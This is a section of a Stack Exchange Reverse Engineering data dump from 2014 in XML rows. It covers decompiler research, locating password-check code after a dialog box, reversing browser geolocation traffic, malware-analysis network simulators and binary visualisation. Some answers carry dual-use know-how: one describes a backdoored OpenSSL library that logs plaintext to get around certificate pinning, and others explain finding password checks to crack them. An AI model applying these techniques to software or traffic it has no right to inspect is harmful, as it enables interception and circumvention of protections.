  <row Id="5986" PostTypeId="2" ParentId="5984" CreationDate="2014-07-31T02:51:24.190" Score="6" Body="&lt;p&gt;Some decompilers (&lt;a href=&quot;http://users.ece.cmu.edu/~ejschwar/pres/usenix13.pdf&quot; rel=&quot;noreferrer&quot;&gt;phoenix&lt;/a&gt; for example) use &lt;a href=&quot;http://pages.cs.wisc.edu/~bgogul/Research/Papers/cc04.pdf&quot; rel=&quot;noreferrer&quot;&gt;Value Set Analysis&lt;/a&gt; to recover the cfg.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Paper Abstract&lt;/h1&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This paper concerns static-analysis algorithms for analyzing binary executables. The aim of the work is to recover intermediate representations (IRs) that are similar to those that can be created for a program written in a high-level language. Our goal is to perform this task for programs such as viruses, worms, and mobile code. For such programs, symbol-table and debugging information is either entirely absent, or cannot be relied upon if present; hence, the analysis described in the paper makes no use of symbol-table/debugging information.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The main analysis discussed in the paper, called &lt;em&gt;value-set analysis&lt;/em&gt;, tracks address-valued and integer-valued quantities simultaneously. It is related to pointer-analysis algorithms that have been developed for programs written in high-level languages, which determine an over-approximation of the set of variables whose addresses each pointer variable can hold. At the same time, value-set analysis is similar to range analysis and other numeric static-analysis algorithms that over-approximate the integer values that each variable can hold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The techniques described in the paper have been implemented as part of CodeSurfer/x86, a prototype tool for browsing (``surfing''), inspecting, and analyzing x86 executables.&lt;/p&gt;&#xA;" OwnerUserId="1481" LastEditorUserId="53" LastEditDate="2014-07-31T06:54:52.313" LastActivityDate="2014-07-31T06:54:52.313" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5987" PostTypeId="2" ParentId="5984" CreationDate="2014-07-31T06:52:14.557" Score="3" Body="&lt;p&gt;Basically, distinguish between values, addresses and instruction is the role of a &lt;strong&gt;type recovery system&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an excellent seminal paper from Alan Mycroft about a technique called &lt;a href=&quot;http://www.cl.cam.ac.uk/~am21/papers/esop99.ps.gz&quot; rel=&quot;nofollow&quot;&gt;type-based decompilation&lt;/a&gt; (ESOP'99) which might give you some ideas on how to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another, more recent, paper describes the technique that is currently used in the &lt;a href=&quot;http://users.ece.cmu.edu/~ejschwar/pres/usenix13.pdf&quot; rel=&quot;nofollow&quot;&gt;Phoenix decompiler&lt;/a&gt; which is called: &lt;a href=&quot;http://users.ece.cmu.edu/~aavgerin/papers/tie-ndss-2011.pdf&quot; rel=&quot;nofollow&quot;&gt;TIE: Principled Reverse Engineering of Types in Binary Programs&lt;/a&gt; (NDSS'11) written by people from CMU and that give an in-depth of the technique they use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from that, the reconstruction of the &lt;em&gt;shape&lt;/em&gt; of the types (array, struct, etc.) can be done by using the &lt;a href=&quot;https://research.cs.wisc.edu/wpis/papers/vmcai07.invited.pdf&quot; rel=&quot;nofollow&quot;&gt;DIVINE technique&lt;/a&gt; (VMCAI'07) by Reps and Balakrishnan. A more extensive &lt;a href=&quot;http://pages.cs.wisc.edu/~bgogul/Research/Journal/toplas10.pdf&quot; rel=&quot;nofollow&quot;&gt;journal paper&lt;/a&gt; (TOPLAS'10) has been also published by both authors that gather all their work about the topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, there are a lot of other works on this domain, but I believe the papers I cited above to be, more or less, the current trend in the 'type-recovery' domain.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-07-31T11:15:17.273" LastActivityDate="2014-07-31T11:15:17.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5988" PostTypeId="2" ParentId="5948" CreationDate="2014-07-31T09:32:05.410" Score="3" Body="&lt;p&gt;Myself I've made a backdoord openssl.so file that writes everything it encrypts to a file so I can &lt;code&gt;tail&lt;/code&gt; it in a different terminal. And ignore issues like certificate pinning.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2014-07-31T09:32:05.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5989" PostTypeId="1" CreationDate="2014-07-31T10:42:01.477" Score="4" ViewCount="5375" Body="&lt;p&gt;The dialog box is a password challenge, and I'd like to catch/trace/observe the code (hopefully the password-checking code) that gets executed right after clicking the &lt;kbd&gt;OK&lt;/kbd&gt; button of the dialog box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to find a way to do this in IDA. What's the correct sequence of actions in IDA to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="8188" LastEditorUserId="53" LastEditDate="2014-07-31T11:12:31.263" LastActivityDate="2014-08-06T09:27:42.743" Title="How to find a subroutine (or next instruction) called after returning from a (Windows) dialog box?" Tags="|ida|windows|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5990" PostTypeId="2" ParentId="5989" CreationDate="2014-07-31T11:17:04.950" Score="4" Body="&lt;p&gt;This will probably be much easier to do if you use a debugger to dynamically analyze the process than with static analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the application uses the plain windows API, you could try a software like spy++ to get the address of the dialog procedure, which is called whenever something interesting happens within the dialog Or, you could place a breakpoint on then &lt;code&gt;DialogBox&lt;/code&gt; API functions (there are several of them, &lt;code&gt;DialogBoxA&lt;/code&gt; for ascii strings, &lt;code&gt;DialogBoxW&lt;/code&gt; for wide char strings, and some &lt;code&gt;DialogBoxEx&lt;/code&gt; variants). Once you know the address, you can look up that in IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the application uses some window toolkit (like &lt;code&gt;gtk&lt;/code&gt;, &lt;code&gt;qt&lt;/code&gt;, &lt;code&gt;swing&lt;/code&gt; if it's a java application, whatever), this might be a bit harder, because these toolkits will probably use only a small subset of the Windows API and do the event handling themselves. It might, however, still be successful if you place a breakpoint on &lt;code&gt;GetWindowText&lt;/code&gt; and/or &lt;code&gt;GetDlgItemText&lt;/code&gt; (again, in several A/W/Ex variants) to check when and where the application actually reads what you've entered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, for some reason, you absolutely can't use a debugger and have to use IDA only, you can still try to cross-reference the above functions and work your way from there. But, since you don't know which of the cross-references is used in the password checking code, this will probably be much harder/more time consuming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from this, some of the ideas in my &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/4724/custom-ui-buttons/4725#4725&quot;&gt;answer to a similar question&lt;/a&gt; might help you.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-07-31T11:17:04.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5991" PostTypeId="2" ParentId="5989" CreationDate="2014-07-31T11:23:15.840" Score="0" Body="&lt;p&gt;Sometimes you'll see a &lt;code&gt;RegisterClass(Ex)&lt;/code&gt; call with a pointer to a &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms633576(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;structure&lt;/a&gt; which includes a function pointer to a function which processes events. That callback is where you usually want to look, specifically for a Msg of &lt;code&gt;WM_COMMAND&lt;/code&gt; and a &lt;code&gt;wParam&lt;/code&gt; of &lt;code&gt;0xC8&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1481" LastEditorUserId="53" LastEditDate="2014-07-31T11:25:25.443" LastActivityDate="2014-07-31T11:25:25.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5992" PostTypeId="2" ParentId="5989" CreationDate="2014-07-31T14:08:21.913" Score="3" Body="&lt;p&gt;Initially, you could simply search for any strings which are printed in the dialog box, and the code which is executed after user input should be easy to locate thereafter, providing no obfuscation has been employed. For example, in IDA Pro:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W3LUj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's a simple password &lt;em&gt;crackme&lt;/em&gt;, you should be looking for code which iterates through each character of a string, i.e. the user input, and compares it to some hardcoded value. Alternatively, as others have elaborated, you could look for specific uses of the Win32 API and find cross-references.&lt;/p&gt;&#xA;" OwnerUserId="8053" LastActivityDate="2014-07-31T14:08:21.913" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5993" PostTypeId="1" AcceptedAnswerId="6009" CreationDate="2014-07-31T18:45:55.150" Score="2" ViewCount="805" Body="&lt;p&gt;I've been trying to figure how a html5 browser like chrome or firefox performs geolocation under the hood but I'm running into some difficulties.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Difficulties&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To be more precise, I want to know what happens when a piece of javascript calls &lt;code&gt;navigator.geolocation.getCurrentPosition (success_func)&lt;/code&gt; but &lt;em&gt;before&lt;/em&gt; &lt;code&gt;success_func&lt;/code&gt; actually gets called back. I want to know how the browser goes about obtaining the latitude and longitude coordinates. What's the protocol it uses? What servers does it query to obtain this information? etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I have determined and tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Chrome and Firefox uses the MAC of nearby wifi access points to obtain geolocation by sending it to googlesapi.com. It is this MAC-wifi based implementation I am most interested in.&lt;/li&gt;&#xA;&lt;li&gt;By the time &lt;code&gt;success_func&lt;/code&gt; gets called, the browser has already obtained the geolocation data.&lt;/li&gt;&#xA;&lt;li&gt;I made limited progress using proxy and packet captures like tcpcatcher and wireshark. I see a query is being made to &lt;code&gt;googleapis.com:443&lt;/code&gt; but of course it's over tls/ssl which means I can't read it. (using ssl monitor in tcpcatcher causes geoloc to fail in browser)&lt;/li&gt;&#xA;&lt;li&gt;I tried using builtin devtool and console in browser but it seems to omit the communication that grabs the geoloc data. For example, using chrome's devtool (&lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;I&lt;/kbd&gt;), it does not show any &lt;code&gt;CONNECT&lt;/code&gt; methods or connections to &lt;code&gt;googleapis.com&lt;/code&gt; even though tcpcatcher clearly captures that during geolocation.&lt;/li&gt;&#xA;&lt;li&gt;I've tried looking at the source to determine this but not having much luck. The problem is that browser codebases are just humongous and locating the pertinent class and source files would be difficult especially since I'm unfamiliar with their overall design. grepping for interesting keywords only goes so far.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you guys were trying to determine and reverse the protocol a given browser uses to implement geolocation how would you guys proceed?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Other Resources&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Here are some things I've already looked at that I found helpful:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://samy.pl/mapxss/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://samy.pl/mapxss/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/3041113/how-exactly-does-html5s-geolocation-work&quot;&gt;https://stackoverflow.com/questions/3041113/how-exactly-does-html5s-geolocation-work&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The problem is some of the info mentioned there is out-of-date and no longer accurate. My aim now is to figure out exactly what changed and how an external custom application can use this protocol itself for geolocation.&lt;/p&gt;&#xA;" OwnerUserId="1315" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-08-04T08:28:54.440" Title="How to identify HTML5 geolocation protocol of a browser?" Tags="|tools|protocol|" AnswerCount="1" CommentCount="6" ClosedDate="2014-08-03T19:11:26.250" ContentLicense="CC BY-SA 3.0" />
  <row Id="5995" PostTypeId="1" AcceptedAnswerId="6058" CreationDate="2014-08-01T03:58:03.317" Score="0" ViewCount="1219" Body="&lt;p&gt;I am learning some gdb and it is covering examining arrays. There is the following code, and I see it is 4 bytes, and how &lt;code&gt;a[1] = 2&lt;/code&gt; in an array &lt;code&gt;int a[] = {1,2,3}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) x/4xb a + 1&#xA;0x7fff5fbff570: 0x02  0x00  0x00  0x00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But what if a was greater than what could be shown by a single hex byte? Then how does it work for the second part? Sorry if this is unclear, I don't know how tow ord it exactly.&lt;/p&gt;&#xA;" OwnerUserId="8058" LastEditorUserId="8058" LastEditDate="2014-08-01T05:34:18.273" LastActivityDate="2014-08-12T00:51:23.630" Title="Hex representation of integer values in excess of FF (255)" Tags="|gdb|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5996" PostTypeId="1" CreationDate="2014-08-01T08:06:43.600" Score="0" ViewCount="3223" Body="&lt;p&gt;I have an end user version of an application written in FileMaker 10 (FML10.dll) and I need the data behind the software. Anyone knows a way to extract the data?&#xA;Looks like the USR file containts the data, but I don't know how to open it. Is there a way to query it throught c#?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\PROGRAM FILES (X86)\ASAS 2013-01&#xA;   Asas 2013-01.exe&#xA;   Asas 2013-01.USR&#xA;   DBConverter.dll&#xA;   DBEngine.dll&#xA;   DOMSupport.dll&#xA;   FML10.dll&#xA;   FMLayout.dll&#xA;   FMOLE.dll&#xA;   FMPA Acknowledgements.pdf&#xA;   FMRSRC.dll&#xA;   FMScript.dll&#xA;   FMUserModel.dll&#xA;   FMWrapper.dll&#xA;   GdiPlus.dll&#xA;   HBAM.dll&#xA;   libeay32.dll&#xA;   MFCX.dll&#xA;   NSViews.dll&#xA;   OmniDynamic4.dll&#xA;   OmniORB4.dll&#xA;   OmniThread.dll&#xA;   PlatformSupport.dll&#xA;   ProofReader.dll&#xA;   ssleay32.dll&#xA;   Support.dll&#xA;   uninstal.exe&#xA;   uninstal.ini&#xA;   XalanDOM.dll&#xA;   XalanExtensions.dll&#xA;   XalanSourceTree.dll&#xA;   XalanTransformer.dll&#xA;   XCore.dll&#xA;   XDraw.dll&#xA;   Xerces.dll&#xA;   XercesParserLiaison.dll&#xA;   XFC.dll&#xA;   XGrfx.dll&#xA;   XMLEngine.dll&#xA;   XMLSupport.dll&#xA;   XPath.dll&#xA;   XSLT.dll&#xA;   XText.dll&#xA;Extensions&#xA;   Langs and etc..&#xA;Microsoft.VC80.CRT&#xA;       ...&#xA;Microsoft.VC80.MFC&#xA;       ...&#xA;Microsoft.VC80.MFCLOC&#xA;        ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8196" LastEditorUserId="8196" LastEditDate="2014-08-01T08:13:52.297" LastActivityDate="2014-08-03T00:01:29.430" Title="Extracting data from Filemaker application" Tags="|windows|c#|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5997" PostTypeId="2" ParentId="5989" CreationDate="2014-08-01T10:49:43.880" Score="3" Body="&lt;p&gt;I'd run the target and let it to show the dialog box, then I'd attach it to debugger. I'd break into the debugger, switching between the threads till I see which one called dialog box. If found I'd print the call stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Static analysis may be difficult if the dialog box is called via an address calculated runtime  (virtual function) but you can always try the method above.&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2014-08-01T10:49:43.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5998" PostTypeId="1" AcceptedAnswerId="6002" CreationDate="2014-08-01T16:05:48.347" Score="2" ViewCount="328" Body="&lt;p&gt;Are there any technical hurdles to implementing floating point support in re-oriented intermediate languages? I ask because none seem to support it, but give few reasons why. The only comment on the topic I've seen is from Sebastian Porst who in 2010 merely said&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;REIL is primarily made to find security-relevant bugs in code. FPU code pretty much never plays a role in such code.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1481" LastEditorUserId="1481" LastEditDate="2015-01-17T01:12:03.980" LastActivityDate="2015-01-17T01:12:03.980" Title="Floating point in RE intermediate languages like vine il, bap il, and google/zynamics reil" Tags="|static-analysis|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5999" PostTypeId="1" AcceptedAnswerId="6000" CreationDate="2014-08-01T17:30:52.570" Score="3" ViewCount="5678" Body="&lt;p&gt;I found a tool for Linux called &lt;a href=&quot;http://www.inetsim.org/about.html&quot; rel=&quot;nofollow&quot;&gt;INetSim&lt;/a&gt; which emulates services such as HTTP HTTPS IRC and many other. It is often used to trick malware. The problem is that INetSim works only on Linux. So I want Windows based tool for Win 7 32bit which is alternative to this ( I prefer a gui one ) &lt;/p&gt;&#xA;" OwnerUserId="7017" LastEditorUserId="161" LastEditDate="2014-08-01T17:43:46.223" LastActivityDate="2014-08-01T17:43:46.223" Title="Are there any Windows alternatives to INetSim?" Tags="|tools|dynamic-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6000" PostTypeId="2" ParentId="5999" CreationDate="2014-08-01T17:40:48.913" Score="8" Body="&lt;p&gt;Not a GUI tool, but &lt;a href=&quot;http://practicalmalwareanalysis.com/fakenet/&quot; rel=&quot;noreferrer&quot;&gt;FakeNet&lt;/a&gt; is a good alternative.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;FakeNet is a tool that aids in the dynamic analysis of malicious&#xA;  software.  The tool simulates a network so that malware interacting&#xA;  with a remote host continues to run allowing the analyst to observe&#xA;  the malware’s network activity from within a safe environment.  The&#xA;  goal of the project is to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- Be easy to install and use; the tool runs on Windows and requires no 3rd party libraries&#xA;- Support the most common protocols used by malware&#xA;- Perform all activity on the local machine to avoid the need for a second virtual machine&#xA;- Provide python extensions for adding new or custom protocols&#xA;- Keep the malware running so that you can observe as much of its functionality as possible&#xA;- Have a flexible configuration, but no required configuration&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.mandiant.com/resources/download/research-tool-mandiant-apatedns&quot; rel=&quot;noreferrer&quot;&gt;Mandiant's ApateDNS&lt;/a&gt; is a good tool for responding with fake DNS response:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Mandiant ApateDNS is a tool for controlling DNS responses though an&#xA;  easy to use GUI. As a phony DNS server, Mandiant ApateDNS spoofs DNS&#xA;  responses to a user-specified IP address by listening on UDP port 53&#xA;  on the local machine. Mandiant ApateDNS also automatically sets the&#xA;  local DNS to localhost. Upon exiting the tool, it sets back the&#xA;  original local DNS settings.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c0ETV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2014-08-01T17:40:48.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6001" PostTypeId="2" ParentId="5998" CreationDate="2014-08-01T22:24:09.943" Score="1" Body="&lt;p&gt;There is an excellent recent work to translate floating point instructions to LLVM bitecode language, the project is called &lt;a href=&quot;http://blog.trailofbits.com/2014/06/23/a-preview-of-mcsema/&quot; rel=&quot;nofollow&quot;&gt;McSema&lt;/a&gt; and is managed by people at &lt;a href=&quot;http://www.trailofbits.com/&quot; rel=&quot;nofollow&quot;&gt;TrailOfBits&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the developer promised to get it OpenSource once the code will get in a good shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: I just saw the answer from Ed McMan. I totally agree with him about the fact that the lack of tools handling this kind of problem makes it quite hard to integrate into binary program analysis framework. But, this is already a consequence of the problem, not a cause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, in my humble opinion, what is making this problem extremely tedious is its own nature. You have to deal with a continuous problem (logic on floating point numbers) and transform it into a discrete one (propositional logic).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mix of these two models makes it very difficult to handle because a small difference in the input may end-up in a drastically different output (the bit-vector size may also have a big impact on the output). This kind of behavior is quite close to what you encounter in cryptographic hash functions, where a small modification of the input will result in a complete change of the output. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, this high variability of the output doesn't help tools to wrap all the behaviors into a meaningful logic formula that could be expressed in propositional logic along with the others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is maybe some hope if SMT-solvers start to consider mixing usual &lt;code&gt;QF_AUFBV&lt;/code&gt; logic (often used for program simulation) and floating point logic (&lt;code&gt;QF_LRA&lt;/code&gt; and &lt;code&gt;QF_NRA&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-08-02T08:05:00.627" LastActivityDate="2014-08-02T08:05:00.627" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6002" PostTypeId="2" ParentId="5998" CreationDate="2014-08-01T22:55:27.787" Score="2" Body="&lt;p&gt;Floating point support is possible.  I think there are two reasons why it's not common:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Most applications of binary ILs don't work with floating point.  For example, most SMT solvers only have support for integer arithmetic operations.  Modeling behavior is not very useful if one cannot reason about it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There are not many mature libraries for arbitrary precision floating point code that can be readily pulled into these projects.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="199" LastActivityDate="2014-08-01T22:55:27.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6003" PostTypeId="1" CreationDate="2014-08-02T07:59:06.597" Score="62" ViewCount="17199" Body="&lt;p&gt;I recently saw an older talk by Sergey Bratus and Greg Conti by the name of &lt;em&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=h68VS7lsNfE&quot;&gt;Voyage of the Reverser: A Visual Study of Binary Species&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any opensource/free tools that one could use to see visual representations of the binaries that are fed in (similar to what is shown in the talk)?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Samples from the talk:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NWzeh.png&quot; alt=&quot;Windows PE visualization&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ebcxw.png&quot; alt=&quot;Documents Format Files&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastEditorUserId="28285" LastEditDate="2022-11-30T12:52:25.197" LastActivityDate="2022-11-30T12:52:25.197" Title="Visualizing ELF binaries" Tags="|binary-analysis|elf|visualization|" AnswerCount="7" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6004" PostTypeId="2" ParentId="6003" CreationDate="2014-08-02T09:36:42.057" Score="13" Body="&lt;p&gt;The data visualizing tool I saw used in the talk seems to be almost identical if not identical to the BinVis tool available on &lt;a href=&quot;https://code.google.com/p/binvis/&quot; rel=&quot;noreferrer&quot;&gt;Google Code&lt;/a&gt;. A screenshot of some of the features:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7dmof.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; the above is an old version as I could not install the latest on my PC; see Google code site for more.&lt;/p&gt;&#xA;" OwnerUserId="8053" LastActivityDate="2014-08-02T09:36:42.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6006" PostTypeId="2" ParentId="6003" CreationDate="2014-08-02T10:57:39.053" Score="14" Body="&lt;p&gt;These are graphic dumps from the source data. I use this &lt;em&gt;extensively&lt;/em&gt;, with a hex reader I wrote myself -- it's a great way to quickly locate &quot;data&quot; (see the difference between &lt;code&gt;.text&lt;/code&gt; and &lt;code&gt;.data&lt;/code&gt;) and larger structures (which often contain repeating or similar data on the same offsets).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The top images show raw data dumped as grayscale information: each byte is treated as a pixel. Presumably, the author chose grayscale for convenience. I prefer a full range of contrasting colors, so long swathes of &quot;same&quot; and &quot;similar&quot; data can be discerned easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blocks of solid color near the bottom (&lt;code&gt;.rsrc&lt;/code&gt;) are icons and other graphics. They appear horizontally stretched out because they are displayed as one-pixel-per-byte, and are actually 16-, 24-, or 32-bpp images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I don't believe the entire top is &lt;code&gt;.text&lt;/code&gt;! Executable code appears as random pixels, but the top 1/3rd in that image is less dense. It's probably the MZ and PE Executable Header; these contain lots of zeros. The more denser part in the bottom 1/3rd is part of &lt;code&gt;.text&lt;/code&gt; and most likely the Virtual Call table, which happens to contain the byte &lt;code&gt;0xFF&lt;/code&gt; a lot.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the bottom images, each byte is displayed in a monochrome binary format: each byte is shown as 8 consecutive pixels. By convention, these are displayed with the most significant bit first. There is no need to check for 'endianness', as that only comes into play when dealing with single values larger than a single byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Writing something like this yourself is not hard; probably most important is to make the graphics routines as fast as possible, in particular the monochrome bitmaps. This is also addressed by Conti et al., &lt;em&gt;Visual Reverse Engineering of Binary and Data Files&lt;/em&gt; (&lt;a href=&quot;http://www.rumint.org/gregconti/publications/2008_VizSEC_FileVisualization_v53_final.pdf&quot; rel=&quot;noreferrer&quot;&gt;http://www.rumint.org/gregconti/publications/2008_VizSEC_FileVisualization_v53_final.pdf&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When testing performance we found that the display could be updated in 0.03 seconds, leaving open the possibility of creating byteview visualizations at greater resolutions while still providing a responsive interface. [...] We were able to achieve this level of performance by avoiding C#’s GetPixel and SetPixel methods and directly accessing image memory [...]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Screenshots of my own tool, very similar to what is shown above:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;.text&lt;/code&gt; section of CALC.EXE. The repeating structure on the bottom is the Virtual Call table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EgQhw.png&quot; alt=&quot;calc.exe in binary view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A file containing RLE-encoded images. The RLE compression can be recognized by the horizontal stripes of &quot;coherent&quot; data (better visible when changing the width interactively).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q3cbZ.png&quot; alt=&quot;rle-compressed images&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GZ compressed data, in monochrome. This is as close to random static as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l4CkY.png&quot; alt=&quot;gz compressed data in monochrome&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A tiny embedded bitmap font found in another executable. The random bits between characters are the width in pixels - see the synchronically scrolling hex dump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GlPEo.png&quot; alt=&quot;a tiny embedded bitmap font&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some data is better visualized in other ways. This is an old-style VGA palette (6x6x6 RGB).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/50t8X.png&quot; alt=&quot;a palette visualized&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2959" LastEditorUserId="2959" LastEditDate="2014-08-02T12:20:16.307" LastActivityDate="2014-08-02T12:20:16.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
